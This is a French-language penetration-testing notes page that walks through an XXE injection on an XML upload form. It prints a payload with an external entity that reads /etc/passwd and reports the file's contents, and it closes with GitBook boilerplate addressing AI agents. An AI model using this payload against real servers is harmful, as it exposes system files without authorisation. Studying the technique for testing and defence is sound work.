> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-vulnerability-file-reader-web-penetration-testing.md).

# Lecteur de fichiers via vulnérabilité XXE

## Exploitation d’injection XXE

<figure><img src="/files/5bc9f78051932fe2178aa91cc7d288e033998218" alt=""><figcaption></figcaption></figure>

Téléversement de fichier TXT : refusé ; seuls les fichiers XML sont acceptés.

```
Bonjour, ceci est un test

```

<figure><img src="/files/aa2df0ce2a2bba09cd73e7b00b4febfd951a8bdf" alt=""><figcaption></figcaption></figure>

Format de requête :

```xml
<post>
    <title>Exemple de publication</title>
    <description>Exemple de description</description>
    <markdown>Exemple de Markdown</markdown>
</post>

```

<figure><img src="/files/a53e208445b53f316ff570266335e140d2f44c75" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7c9507d8395349945f295323259ee80e93c91731" alt=""><figcaption></figcaption></figure>

Envoi d’un fichier XML contenant une entité externe à lire `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Exemple de publication</title>
    <description>Exemple de description</description>
    <markdown>&xxe;</markdown>
</post>

```

Résultat : Le contenu de `/etc/passwd` est affiché.

<figure><img src="/files/b3b9cbdaaef7220038a7315898d39605710f3872" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-vulnerability-file-reader-web-penetration-testing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
